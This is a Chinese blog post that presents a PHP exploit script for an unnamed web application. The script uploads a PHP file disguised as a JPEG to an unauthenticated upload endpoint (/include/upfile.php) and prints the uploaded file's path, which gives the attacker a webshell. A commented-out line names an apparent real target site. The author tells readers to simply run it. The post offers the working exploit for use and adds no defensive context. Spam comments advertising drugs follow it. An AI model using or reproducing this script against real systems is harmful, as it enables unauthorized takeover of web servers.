神王姜太虚

文章 分类 评论
18 7 2

站点介绍

这里是站点介绍...

一套不知名的程序前台getshell

admin 2022-11-21 174 0条评论 代码审计 Getshell

首页 / 正文
就不给各位废话了

直接贴代码图吧

<?php
function send_post($url, $header, $post_data){
    $curl = curl_init();//初始化curl
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_HEADER, 0);//返回response头部信息
    curl_setopt($curl, CURLOPT_URL, $url);//抓取指定网页
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS,$post_data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_TIMEOUT,3);
    $result = curl_exec($curl);
    curl_close($curl);
    return $result;
}
//$urla = "http://sx-botoracks.com/";
$urla = "http://127.0.0.1/";
$path = "/include/upfile.php";
$urls = $urla.$path;
$header = array(
    'User-Agent'=>'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
    'Content-Type'=>'multipart/form-data',
);
//echo $str;die;
$post_data = array(
    'upfile'=>curl_file_create('./1.jpg','image/jpeg','1.php'),
);

// var_dump($post_data);die();

$info = send_post($urls,$header,$post_data);
//var_dump($info);
$regx = '/window.opener.document...value=\'..\/(.*?)\'<\/script><script language="javascript">/s';
preg_match_all($regx,$info,$arr);
if (!empty($arr[1][0])) {
    echo $urla.$arr[1][0]."\r\n";
}
?>

这个是有返回路径的 所以拿着直接开跑就完事了

评论(0)

最新评论

  • cheap cialis

    Awesome! Its genuinely amazing piece of writing, I have got much clear idea about from this paragraph.

  • apporabow

    Issuer services logged a strong increase of 24 relative to 1Q 13 due to increased corporate actions and technology reimbursements clomid by avents We are therefore revising our estimate to be 2

日历

2023年05月

 123456
78910111213
14151617181920
21222324252627
28293031   

友情链接

文章目录